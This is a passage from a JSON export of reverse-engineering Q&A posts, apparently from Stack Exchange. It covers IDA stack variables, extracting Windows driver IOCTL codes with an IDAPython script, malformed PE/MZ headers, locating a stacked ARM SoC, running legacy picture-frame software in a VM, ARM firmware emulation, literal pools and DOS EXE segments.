        "Body": "<p>I am reverse engineering a program using IDA Pro Free 5. In one of the functions, the compiler has reused the stack space of one of the passed in arguments as a local variable of a different type, but the same size.</p>\n\n<p>Is there a way to rename a stack variable part of the way through a function? At the moment, I'm using a manual operand, but its not optimal.</p>\n",
        "Title": "In IDA 5, is there a way to rename a stack variable mid-function",
        "Tags": "|ida|disassembly|stack-variables|",
        "Answer": "<p>As far as I know this is not even possible in IDA 6.9 yet, and definitely not possible in IDA 5.</p>\n\n<p>When encountering such cases (which are quite frequent with certain compilers), I often find it the easiest to give such variables a name that denotes them as having two different purposes shared on the same stack address.</p>\n"
    },
    {
        "Id": "15283",
        "CreationDate": "2017-05-04T18:52:34.850",
        "Body": "<p>Recently I tried to obtain OICTL Codes from the iscflashx64.sys driver and I have found it in DispatchDeviceControl function. After driver being installed and have started with SCM it displayed in WinObj. when I invoke DeviceIOControl  function with this codes in my user-land app it returns \"1\" error code. that means my codes is invalid. </p>\n\n<p>Here is IDA view capture and userapp code<a href=\"https://i.stack.imgur.com/ejCBV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ejCBV.png\" alt=\"enter image description here\"></a></p>\n\n<p>Next:</p>\n\n<pre><code>lea     rdx, cs:10000h\nmovzx   eax, ds:(byte_1C9C8 - 10000h)[rdx+rsi]\nmov     ecx, ds:(off_1C988 - 10000h)[rdx+rax*4]\nadd     rcx, rdx\njmp     rcx             ; switch jump\n</code></pre>\n\n<p>And function call:</p>\n\n<pre><code>lea     rcx, [rsp+188h+PhysicalAddress]\ncall    MSR_read1\njmp     short loc_1C2BC\n</code></pre>\n\n<p>in userapp:</p>\n\n<pre><code>#define IOCTL_READ_MSR\\\n CTL_CODE(FILE_DEVICE_UNKNOWN, 0x2237134, METHOD_BUFFERED, FILE_ANY_ACCESS)\n...\n\n    bool msr_get(unsigned int reg, unsigned long long *val)\n  {\n    if (hHandle == NULL)\n    {\n        printf(\"## ERROR: Not initialized\\n\");\n        return false;\n    }\n\n    DWORD dwBytes = 0;\n    UCHAR Request[0x100];\n    ZeroMemory(&amp;Request, sizeof(Request));\n\n    *(PDWORD)(Request + 0x08) = reg;\n\n    // send request to the driver\n    if (DeviceIoControl(\n        hHandle, IOCTL_READ_MSR,\n        &amp;Request, sizeof(Request), &amp;Request, sizeof(Request),\n        &amp;dwBytes, NULL))\n    {\n        LARGE_INTEGER Val;\n\n        Val.HighPart = *(PDWORD)(Request + 0x0c);\n        Val.LowPart = *(PDWORD)(Request + 0x00);\n\n        *val = Val.QuadPart;\n\n        return true;\n    }\n    else\n    {\n        printf(\"## ERROR DeviceIoControl() %d\\n\", GetLastError());\n    }\n\n    return false;\n }\n</code></pre>\n\n<p>After googling I found <a href=\"https://www.reddit.com/r/ReverseEngineering/comments/1sk43l/question_retrieving_ioctl_codes_from_a_driver/\" rel=\"nofollow noreferrer\">this answer</a>. So this step by step solution does`t work for me. May be problem in switch case tables, but IDA get comments that seems like a codes like that:</p>\n\n<pre><code>loc_1C55A:\nsub     esi, 222406h\njz      loc_1C6E7\n</code></pre>\n\n<p>What is going wrong? Will be very grateful for any suggestions or just a common techniques in using IOCTL.</p>\n\n<p>P.S. Sorry for my English.</p>\n",
        "Title": "IOCTL Code for Windows driver",
        "Tags": "|ida|windows|kernel-mode|driver|",
        "Answer": "<p>you can use a python script to find all the IOCTL codes in your binary, here is a script created for the very same purpose :\n    # Find the IoControlCodes corresponding to\n    # calls to DeviceIOControl within a binary</p>\n\n<pre><code>from idaapi import *\nfrom idautils import *\nfrom idc import *\n\n##########################################################\n# This class implements a fifo queue\nclass fqueue(list):\n    def __init__(self, n):\n        self.n = n\n\n    def push(self, a):\n        self.append(a)\n        if len(self) &gt; self.n:\n            self.pop(0)\n\n##########################################################\n\ngpRegList = ['eax', 'ebx', 'ecx', 'edx']\nioccList = []\ncallerList = []\npushQueue = fqueue(2)\n\ndioc_ea = LocByName(\"DeviceIoControl\") # EA\n\nprint \"DeviceIoControl found at 0x%08x\" % dioc_ea\n\nfor caller in XrefsTo(dioc_ea, True):\n    # This is the address (within a function)\n    # where the reference was made\n    caller_ea = caller.frm\n\n    if caller_ea not in callerList:\n        # IDA Pro shifts duplicates, get rid of them\n        callerList.append(caller_ea)\n        print \"xref @ 0x%08x (%s)\" % (caller_ea, GetFunctionName(caller_ea))\n    else:\n        continue\n\n    # The dwIoControlCode must be the second \n    # PUSH xxx before the CALL instruction\n    # So we need to keep track of the PUSH instructions\n    for ins in FuncItems(caller_ea):\n        disasm = GetDisasm(ins)\n        if \"push\" in disasm:\n            # Save the PUSH instruction's operand\n            pushQueue.push(GetOpnd(ins, 0))\n        elif ins == caller_ea:\n            # At this moment we hit the corresponding CALL instruction\n            # First item in Queue is second \"oldest\" push\n            iocc = pushQueue[0]\n\n            if iocc in gpRegList:\n                print \"NOTE: IoControlCode was %s at 0x%08x. Check manually\" % (iocc, caller_ea)\n            else:\n                if pushQueue[0] not in ioccList:\n                    ioccList.append(pushQueue[0])\n        else:\n            pass\n\n# Print all the gathered IoControlCodes\n\nprint \"%d IoControlCodes found!\" % len(ioccList)\n\nfor io in ioccList:\n    print \"[*]\", io\n</code></pre>\n\n<p>run the script using IDA when disassembling the binary and it will do the magic for you, \nhope this helps!</p>\n"
    },
    {
        "Id": "15290",
        "CreationDate": "2017-05-05T04:47:26.457",
        "Body": "<p>I'm doing some research on corrupted PE files and I wanted to hear your thoughts and experiences with them. I've been processing a ton of samples which are essentially corrupted Windows Portable Executable files. They will not run on XP or Windows 7 and they won't run on 32 bit or 64 bit. If I open them in a hex editor, it's very clear that they are missing entire header data structures, the MZ and surrounding data is missing or altered, etc... When I attempt to execute these .exe files, I get errors along the lines of \"This is not a valid Windows executable\" and/or \"This executable cannot be run on this system, it may be designed for 64 bit and you are on a 32 bit or vice versa.\" Not verbatim but that's the general idea.\nBasically, I cannot get these to run or operate at all. So the question is, why do they exist? Are they files which could possibly come packaged with other files that when run, repair these files before loading them into memory as a sort of \"obfuscated library file?\" I feel like this is an unlikely scenario.</p>\n\n<p>Another possibility is, perhaps these files are made for a much older version of Windows? I've done some deep study of the PE file format though and am not aware of any previous PE format with altered headers, etc..</p>\n\n<p><strong>EXAMPLE:</strong>\nSee first a regular PE file that runs fine:\n<a href=\"https://i.stack.imgur.com/3DObK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3DObK.png\" alt=\"Functional PE File\"></a></p>\n\n<p>Now see the above compared with a specimen file:\n<a href=\"https://i.stack.imgur.com/BMtBO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BMtBO.png\" alt=\"Good PE, followed by bad PE\"></a></p>\n\n<p>Finally, I was able to locate \"PE\" much further down then normal, amongst a bunch of binary data:</p>\n\n<p><a href=\"https://i.stack.imgur.com/oi7zH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oi7zH.png\" alt=\"enter image description here\"></a></p>\n\n<p>This is all just one example but this is the kind of thing I'm talking about.</p>\n",
        "Title": "Can corrupted PE files be executed in some versions of Windows but not others?",
        "Tags": "|windows|pe|",
        "Answer": "<p>The PE format is actually backwards compatible with the old DOS EXE format (also called MZ-exe). That's why it has to start with the MZ signature. It's perfectly possible to have executables which have a complete DOS executable in the compatibility part (also called \"stub\") and Win32 one in the PE part (e.g. Windows 95 reg.exe was one such - it could run both in Windows and in DOS). \nThe offset to the PE header, by the standard, is the dword value at offset 0x3C in the file. in your screenshot the value seems to be 0x9C0000. if there is no PE signature at 0x9C0000 (or it's outside of the file), it means the file is not a PE, but either some other kind of MZ extension format (e.g. NE for Win16 or OS/2) or simply a plain DOS file. You can try running it in DOSBox or another DOS environment, or use a disassembler which handles DOS-MZ (e.g. IDA)</p>\n"
    },
    {
        "Id": "15298",
        "CreationDate": "2017-05-05T15:55:51.440",
        "Body": "<p>I have some difficult to find CPU from a board.\nFirst I though that CPU/SOC was this one :</p>\n\n<p><a href=\"https://i.stack.imgur.com/2iNWA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2iNWA.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>All I know (about CPU) is that's an ARM core little-endian (because I begin reverse firmware in IDA) but I lack of information on it. The hardware is a 8 years old GPS with 800x480 tft.</p>\n\n<p>According to Igor link document from Samsung,  codification of K4X2G303PC - XGC6 means :</p>\n\n<p>K : Memory</p>\n\n<p>4 : DRAM</p>\n\n<p>X : Mobile DDR SDRAM</p>\n\n<p>2G : 2G, 8K/64ms (Density,Refresh)</p>\n\n<p>30 : x32 (2CS, 2CKE) (Organization)</p>\n\n<p>3 : 4Bank </p>\n\n<p>P : LVTTL, 1.8V, 1.8V (Interface, VDD, VDDQ)</p>\n\n<h2>C (Generation)</h2>\n\n<p>X : POP (Lead-Free, DDP, Halogen-Free)</p>\n\n<p>G : Extended, Low, PASR &amp; TCSR (Temp, Power)</p>\n\n<p>C6 : 6ns@CL3 (Speed)</p>\n\n<p>Here is the whole board (warning EMMC is unsolded)\n<a href=\"https://i.stack.imgur.com/SwzKG.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SwzKG.jpg\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/aHT3r.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aHT3r.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Here same hard, but component is another reference from Micron Technology (picture is 180\u00b0 rotated)</p>\n\n<p><a href=\"https://i.stack.imgur.com/Yh2VG.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yh2VG.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>And the backside</p>\n\n<p><a href=\"https://i.stack.imgur.com/coosM.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/coosM.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>X16V554IL is quad UART (<a href=\"https://www.exar.com/content/document.ashx?id=505\" rel=\"nofollow noreferrer\">https://www.exar.com/content/document.ashx?id=505</a>) I checked GND pinout it is corresponding</p>\n\n<p>So if Samsung K4x2G303PC is not SOC/CPU where is SOC/CPU ?</p>\n\n<p>Why is there a Crystal near K4x2G303PC  ? (The other Crytal is for XR16V)\nCan Latticle CPLD LC4064 have an arm software core ?</p>\n\n<p>REgards ;)</p>\n",
        "Title": "Help finding CPU/SOC on a board",
        "Tags": "|arm|",
        "Answer": "<p>On <a href=\"https://i.stack.imgur.com/aHT3r.jpg\" rel=\"nofollow noreferrer\">this photo</a> you can see there are two \"layers\" in this chip separated by a matrix of solder balls. This is <a href=\"https://en.wikipedia.org/wiki/Package_on_package\" rel=\"nofollow noreferrer\">package on package</a> \u2014 a method used to save board space. The actual processor is hidden under the RAM chip.</p>\n\n<p><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/0/08/ASIC_%2B_Memory_PoP_Schematic.JPG/960px-ASIC_%2B_Memory_PoP_Schematic.JPG\"></p>\n\n<p>Look at Raspberry Pi Zero \u2014 you won't find SoC there either! The chip there has Elpida label, which is a RAM manufacturer, and the SoC itself is under there.</p>\n"
    },
    {
        "Id": "15308",
        "CreationDate": "2017-05-07T07:11:03.767",
        "Body": "<p>Got this Digital Keychain Photo viewer thingy. Comes with the DPFMate.exe software, which does not run under Windows 10. So far I've confirmed, that it runs perfectly on what they avertise - Windows XP. But no-one has that nowadays, so windows >7 would be great to get working. Have tried compatibility mode, to no success.</p>\n\n<p>Does anyone know where or how DPFMate places the images on the keychain, so I could possibly write my own program to do the move? I've heard it's some special protocol aswell... Or happens to have a version that runs on newer systems?</p>\n\n<p>Program available here: <a href=\"https://www.dropbox.com/sh/qym0okbfrndl8cx/AAADqBjp_i5PyJ8yyAo_YVWDa?dl=0\" rel=\"nofollow noreferrer\">https://www.dropbox.com/sh/qym0okbfrndl8cx/AAADqBjp_i5PyJ8yyAo_YVWDa?dl=0</a></p>\n",
        "Title": "DPFMate Keychain tool",
        "Tags": "|file-format|protocol|",
        "Answer": "<p>I just found my photo thing again. If you download oracle virtualbox and set up a winxp guest you can use the DPFMate software. Just preload your photos on the VM and attach the USB photo frame USB device to the VM.</p>\n\n<p>Note; my antivirus says that DPFMate is a trojan virus, you may have issues with your antivirus disabling the usb. If despite this warning, you still want to go ahead, you can also set up your XP guest to discard changes when you reboot. You can just delete the virtual disk when you are done too. Also disable the network on the VM, trojans allow remote access.</p>\n\n<p>However, unless you know what you are doing and accept the risks, don't disable your antivirus! :)</p>\n\n<p>Another idea, if anyone wants to test this, is a winPE or bartPE environment. Make a XP PE CD and boot from that.. (basically a lite windows environment that boots from cd, so it's readonly! Unplug your HDD.) Let us know if it works!</p>\n"
    },
    {
        "Id": "15311",
        "CreationDate": "2017-05-07T13:50:20.847",
        "Body": "<p>I have a Philips 10FF2 picture frame I'm trying to reverse engineer. In the firmware download from the Philips website (<a href=\"http://download.p4c.philips.com/files/1/10ff2cme_00/10ff2cme_00_fus_aen.zip\" rel=\"noreferrer\">http://download.p4c.philips.com/files/1/10ff2cme_00/10ff2cme_00_fus_aen.zip</a>) I can find a file called <code>UBLDM350.bin</code> which when analyzed with <code>binwalk --disasm</code> gives me:</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             ARM executable code, 32-bit, little endian, at least 984 valid instructions\n</code></pre>\n\n<p>My question is how do I get more information on this file? I tried running it with qemu-arm but that fails:</p>\n\n<pre><code>walterheck@walter-toshiba:~/projects/pictureframe/PHILIPS.10FF2M$ qemu-arm ./UBLDM350.BIN \nError while loading ./UBLDM350.BIN: Permission denied\n</code></pre>\n\n<p>Running <code>strings</code> on it gives me garbage and only a few readable things:</p>\n\n<pre><code>(null)\n0123456789abcdef0123456789ABCDEF\n...fail(%d)\nNANDReadPage error(%d)\nError block(%d)\nMagic switch failure(0x%X)\nBad block found(block=%d)\nMove done.\nStart boot from NAND\nVer = %s\nUBLN1.05\n</code></pre>\n\n<p>I'm looking for help on what to try next.</p>\n",
        "Title": "Running a binary identified as an ARM excutable by binwalk --disasm",
        "Tags": "|binary-analysis|firmware|arm|",
        "Answer": "<p>It seems you have a raw firmware file and not a user-mode executable. <code>qemu-arm</code> only supports user-mode ARM Linux ELF executables. You could in theory try the full-system emulator (<code>qemu-system-arm</code>), but don't expect it to work unless QEMU explicitly supports the underlying hardware. It may be also possible to use the QEMU-based <a href=\"http://www.unicorn-engine.org/\" rel=\"nofollow noreferrer\">Unicorn emulator</a> which is somewhat more flexible but you would need to write some code to load your file and start emulation; there's no convenient ready to use program.</p>\n"
    },
    {
        "Id": "15315",
        "CreationDate": "2017-05-07T22:20:46.817",
        "Body": "<p>Suppose that <code>eax</code> contains a value only when the program is running.</p>\n\n<p>How can a disassembler determine the address of expressions like:\n<code>call eax</code> using static analysis and Recursive Descent disassembly?</p>\n",
        "Title": "Recursive Descent Disassembly",
        "Tags": "|ida|disassembly|assembly|",
        "Answer": "<blockquote>\n  <p>How can a disassembler determine the address of expressions like: <code>call eax</code> using static analysis and Recursive Descent disassembly?</p>\n</blockquote>\n\n<p>They can't... The truth is that the recursive traversal algorithm just take into account the static calls (i.e. the calls that link to a static address in the binary).</p>\n\n<p>An instruction such as <code>call eax</code> (a.k.a. <em>dynamic call</em>) can be resolved only by a dynamic analysis or a symbolic execution framework.</p>\n"
    },
    {
        "Id": "15329",
        "CreationDate": "2017-05-12T00:06:17.447",
        "Body": "<h2>Context and Background Information</h2>\n<h3>Part 1: ARM firmware compared to firmware for other architectures</h3>\n<p>I looked at the ARM firmware in these two questions:</p>\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm\">Running a binary identified as an ARM excutable by binwalk --disasm</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file\">Approach to extract useful information from binary file</a></li>\n</ul>\n<p>and was baffled by the mixture of code with data, since I have looked at firmware for other architectures such as Ubicom, MIPSEL and MIPS and did not observe the same kind of intermingling of code and data as in the ARM firmware.</p>\n<p>Here are some visualizations of various binaries for context:</p>\n<p><strong>MIPSEL eCos firmware from <a href=\"https://reverseengineering.stackexchange.com/questions/11503/analysing-ecos-image\">Analysing eCos image</a></strong></p>\n<p><a href=\"https://i.stack.imgur.com/Dlff0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Dlff0.png\" alt=\"eCos firmware entropy plot (cropped)\" /></a>\n<a href=\"https://i.stack.imgur.com/n6Xzd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n6Xzd.png\" alt=\"entropy visualization\" /></a>\n<a href=\"https://i.stack.imgur.com/gMiSM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gMiSM.png\" alt=\"detail visualization\" /></a>\n<code>&lt;------------------------ code -------------------------&gt;&lt;---- images, ASCII----&gt;</code></p>\n<p><strong>Unknown instruction set, uC/OS firmware from <a href=\"https://reverseengineering.stackexchange.com/questions/15088/lzma-file-format-not-recognized-details-enclosed\">lzma: File format not recognized [Details enclosed]</a></strong></p>\n<p><a href=\"https://i.stack.imgur.com/m0WT7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/m0WT7.png\" alt=\"CleverDOg camera firmware entropy plot (cropped)\" /></a>\n<a href=\"https://i.stack.imgur.com/Yjb2j.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yjb2j.png\" alt=\"entropy visualization\" /></a>\n<a href=\"https://i.stack.imgur.com/KgENq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KgENq.png\" alt=\"detail visualization\" /></a>\n<code>&lt;-------------------------- code??? ------------------------&gt;&lt;-- ASCII --&gt;</code></p>\n<p><strong>Ubicom32 SlingBox firmware from <a href=\"https://reverseengineering.stackexchange.com/questions/12292/need-help-extracting-yaffs-from-firmware-bin-file\">Need help extracting YAFFS from firmware .bin file</a></strong></p>\n<p><a href=\"https://i.stack.imgur.com/D7rQb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/D7rQb.png\" alt=\"SlingBox firmware entropy plot (cropped)\" /></a>\n<a href=\"https://i.stack.imgur.com/336Pa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/336Pa.png\" alt=\"entropy visualization\" /></a>\n<a href=\"https://i.stack.imgur.com/GMWhe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GMWhe.png\" alt=\"detail visualization\" /></a>\n<code>&lt;--------------------------- code -----------------------&gt;     &lt;- data -&gt;&lt; code &gt;</code></p>\n<p>A pattern appears to emerge, no? The executable code in the firmware images presented here is not so difficult to differentiate from data because it largely resides in 1 or 2 large, contiguous blocks.</p>\n<p>However, things are not so straightforward with the ARM firmware:</p>\n<p><strong>32-bit ARM firmware from <a href=\"https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm\">Running a binary identified as an ARM excutable by binwalk --disasm</a></strong></p>\n<p><a href=\"https://i.stack.imgur.com/CiwZz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CiwZz.png\" alt=\"firmware entropy plot (cropped)\" /></a>\n<a href=\"https://i.stack.imgur.com/nJTOO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nJTOO.png\" alt=\"entropy visualization\" /></a>\n<a href=\"https://i.stack.imgur.com/n8fj4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n8fj4.png\" alt=\"detail visualization\" /></a></p>\n<p>Where is the code? Where is the data? There is no easily discernible separation like in the other firmware binaries.</p>\n<p><strong>Thumb-2 (16-bit + 32-bit) ARM firmware from <a href=\"https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file\"></a></strong></p>\n<p><a href=\"https://i.stack.imgur.com/Dz1Bi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Dz1Bi.png\" alt=\"e-cig entropy plot (cropped)\" /></a>\n<a href=\"https://i.stack.imgur.com/REAp4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/REAp4.png\" alt=\"entropy visualization\" /></a>\n<a href=\"https://i.stack.imgur.com/eO646.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eO646.png\" alt=\"detail visualization\" /></a></p>\n<p>The situation is similar here.</p>\n<p>When the visualizations are juxtaposed, the differences become very obvious:</p>\n<p><a href=\"https://i.stack.imgur.com/WnQDD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WnQDD.png\" alt=\"MIPSEL, eCos\" /></a>\n<a href=\"https://i.stack.imgur.com/xmVsy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xmVsy.png\" alt=\"unknown\" /></a>\n<a href=\"https://i.stack.imgur.com/4IkNZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4IkNZ.png\" alt=\"Ubicom32, SlingBox\" /></a>\n<a href=\"https://i.stack.imgur.com/dWmBO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dWmBO.png\" alt=\"ARM 32-bit, Panasonic picture frame\" /></a>\n<a href=\"https://i.stack.imgur.com/jLknH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jLknH.png\" alt=\"ARM Thumb-2, SMOK CUBE thing\" /></a></p>\n<p>The non-ARM firmware binaries in this sample have fairly clear code and data separation, which is helpful if we want to disassemble the code. However, identification of code and data looks to be quite  problematic in the case of the ARM firmware binaries.</p>\n<h3>Part 2: ARM Literal Pools</h3>\n<p>So why do the ARM firmware binaries look so different from the others? Why is there no clearly discernible separation of code and data? The answer seems to involve ARM literal pools.</p>\n<p>I'm including information about ARM literal pools here because it seems relevant and because it took forever for me to find out about them on my own, so hopefully this saves others some time.</p>\n<p>According to <a href=\"https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm/15317#15317\">Ian Cook</a> (emphasis mine),</p>\n<blockquote>\n<p>...mixing of code and data is actually very common with ARM code.</p>\n<p>ARM instructions are fixed sizes (4 bytes on ARM, 2 bytes for THUMB) and have insufficient space to encode an 32 bit immediate value. Instead, ARM compilers usually do two things -</p>\n<ul>\n<li><p><strong>they place 32 bit immediate constants straight after the instructions for the function</strong> in which the constants are needed, and</p>\n</li>\n<li><p>they use PC-relative load instructions in the function to put these constants into registers.</p>\n</li>\n</ul>\n</blockquote>\n<p>This is similar to the information I found in the article <a href=\"http://benno.id.au/blog/2009/01/02/literal-pools\" rel=\"nofollow noreferrer\"><strong>The trouble with literal pools</strong></a>:</p>\n<blockquote>\n<p>So, what is a literal pool? I\u2019m glad you asked. The literal pool is an area of memory (in the text segment), which is used to store constants. These constants could be plain numerical constants, but their main use is to store the address of variables in the system. These addresses are needed because the ARM instruction does not have any instructions for directly loading (or storing) an address in memory. Instead ldr and str can only store at a \u00b112-bit offset from a register. Now there are lots of ways you could generate code with this restriction, for example, you could ensure your data section is less than 8KiB in size, and reserve a register to be used as a base for all data lookups. But such approach only works if you have a limited data section size. The standard approach that is taken is that when a variable is used its address is written out into a literal pool. The compiler then generates two instructions, first to read the address from this literal pool, and the second is the instruction to access the variable.</p>\n<p>So, how exactly does this literal pool work? Well, so that a special register is not needed to point at the literal pool, the compiler uses the program counter (PC) register as the base register. The generated codes looks something like: <code>ldr r3, [pc, #28]</code>. That codes loads a value at a 28-byte offset from the current value of PC into the register r3. r3 then contains the address of the variable we want to access, and can be used like: <code>ldr r1, [r3, #0]</code>, which loads the value of the variable (rather than the address) into r1. Now, as the PC is used as the base for the literal pool access, it should be clear that the literal pool is stored close enough to the code that needs to use it.</p>\n<p><strong>To ensure that the literal pool is close enough to the code using it, the compiler stores a literal pool at the end of each function</strong>. This approach works pretty well (unless you have a 4KiB+ function, which would be silly anyway), but can be a bit of a waste.</p>\n</blockquote>\n<p>However, in the <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473f/Bgbccbdi.html\" rel=\"nofollow noreferrer\">ARM documentation for literal pools</a>, it is stated that</p>\n<blockquote>\n<p>The assembler uses literal pools to hold certain constant values that are to be loaded into registers. <strong>The assembler places a literal pool at the end of each section</strong>. The end of a section is defined either by the END directive at the end of the assembly or by the AREA directive at the start of the following section. The END directive at the end of an included file does not signal the end of a section.</p>\n</blockquote>\n<p>I don't know jack about ARM, so this is confusing. I might make this a separate question. Anyway, the point is that literal pools appear to be the reason why code and data are mixed together in the ARM firmware visualized earlier. There is also something called <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0474f/Cegbbcjj.html\" rel=\"nofollow noreferrer\">scatterloading</a>, but I don't know if this has anything to do with the problem described here.</p>\n<h2>Question</h2>\n<p><strong>How can the problem posed for disassembly by the admixture of executable code and literal pools in ARM firmware be overcome?</strong></p>\n<p>According to <a href=\"https://reverseengineering.stackexchange.com/questions/15311/running-a-binary-identified-as-an-arm-excutable-by-binwalk-disasm/15317#15317\">Ian Cook (from the same answer as before)</a> (emphasis mine),</p>\n<blockquote>\n<p>It's usual to see the immediate constants stored after the function in order of the addresses of the functions that access them. So, in this case, the function ends with the instruction at 0x00000F5C and the immediate constants would appear to span the address range 0x00000F60 to 0x00000FFF and I would usually expect the following function to begin at address 0x00001000.</p>\n<p><strong>Knowing this it would be possible for a disassembler to identify this pattern and automatically skip the associated data.</strong></p>\n</blockquote>\n<p>Yes, how? I tried disassembling both the ARM 32-bit Panasonic picture frame firmware and the ARM Thumb-2 SMOK-X Cube contraption firmware with <code>radare2</code> but it seemed like data was being disassembled along with code.</p>\n<p>Since the location of literal pools after functions seems to be a common feature of ARM binaries, are existing disassemblers able to differentiate between code in functions and the data in their adjoining literal pools even when there aren't any symbols in the binary? This isn't the case with Capstone as far as I know.</p>\n",
        "Title": "How can the problem posed for disassembly by the mixture of executable code and literal pools in ARM firmware be overcome?",
        "Tags": "|disassembly|binary-analysis|firmware|arm|disassemblers|",
        "Answer": "<p>This is indeed a problem for linear sweep disassemblers; recursive descent ones are mostly unaffected since they won't try to disassemble data if there are no code flows into it. However, there may be some heuristics/cheap tricks that might help even linear sweep disassemblers. Some that come to mind:</p>\n\n<ul>\n<li><p>while disassembling instructions, look for LDRs with PC-relative operands (as well as ADR instructions) and remember the target addresses; stop disassembly when reaching those addresses. </p></li>\n<li><p>in ARM mode, stop disassembly when decoded instructions have nonsensical conditions, especially when there is no preceding flag-setting instruction. </p></li>\n<li><p>gather some stats (e.g. n-gram frequencies) from binaries which do have symbols and use them to tell code from data. </p>\n\n<p>In the end, I don't think there is a good generic solution for this problem, so it may be even easier to just tune the approach for each specific target. </p></li>\n</ul>\n"
    },
    {
        "Id": "15331",
        "CreationDate": "2017-05-12T03:47:38.803",
        "Body": "<p>In a DOS EXE file, if I have sub1, sub2, and sub3, split between two code segments, how do I know which sub is in which segment? There seem to be no physical markers in the exe code.</p>\n\n<p>I know the EXE header gives a couple of these items, but looking at the relocation table for a random large EXE, all the segment addresses there were 0, yet there are actually 20 different segments in the program when I look at it in IDA.</p>\n\n<p>Do programs like IDA just guess at segment sizes and offsets based on code analysis? Or have I missed something important in the DOS EXE file structure?</p>\n",
        "Title": "DOS Executable Segments",
        "Tags": "|dos|segmentation|",
        "Answer": "<blockquote>\n<p>In a DOS EXE file, if I have sub1, sub2, and sub3, split between two\ncode segments, how do I know which sub is in which segment?</p>\n</blockquote>\n<p>Theoretically, you can't, since most addresses can belong to at least 16 different segments, but in practice there are some heuristics. For example, for targets of far calls and jumps you know their selector (segment value) and offset in that segment, so if you gather that info over the whole executable, you can figure out (at least roughly) what part belongs to which segment. See <a href=\"https://reverseengineering.stackexchange.com/a/6070/60\">here</a> for a specific example</p>\n<p>As for loading EXE files, you can check how IDA does it in the source of the DOS EXE loader in the SDK (<code>ldr/dos</code>). Here's the relevant part (function <code>doRelocs</code>):</p>\n<pre><code>uint16 curval = get_word(xEA);\nuint16 base = curval + delta;\nput_word(xEA, base);\nfd.sel = base;\nset_fixup(xEA, &amp;fd);\nif ( dosegs )\n  add_segm_by_selector(base, NULL);\n</code></pre>\n<p>So basically, a segment is added for each unique relocated selector value. Of course, this may be not enough for some complicated executables, so manual tuning of segment boundaries may be necessary.</p>\n"
    },
    {
        "Id": "15359",
        "CreationDate": "2017-05-17T07:21:21.557",
        "Body": "<p>When I try to disassemble proprietary ARM binaries (no symbol), like Android phone's boot loaders, I find there are a bunch of strings that do not have any \"Xrefs to\" in IDA Pro.</p>\n\n<p>The image has already been rebased, and some strings have the Xrefs, while others do not. IDA does not recognize some of them as strings or data. Also, I tried to search the address as byte sequence, there is no result too.</p>\n\n<p>Any good practices to find how these strings are referenced?</p>\n",
        "Title": "How to find Xref to strings in proprietary binaries?",
        "Tags": "|ida|android|arm|binary|kernel|",
        "Answer": "<p>There's really no standard way.</p>\n\n<p>It's possible that the code that references them isn't recognized as code, which would make it just a matter of defining it.</p>\n\n<p>It's possible that they're referenced indirectly, like to an array - is there a value somewhere before them that's referenced?</p>\n\n<p>It's possible that they're referenced indirectly in some way that IDA doesn't recognize it.</p>\n\n<p>It probably won't work great for Android, but I've had luck using a break-on-read watchpoint on a string like that to find out where it's referenced from.</p>\n"
    },
    {
        "Id": "15363",
        "CreationDate": "2017-05-17T19:42:36.450",
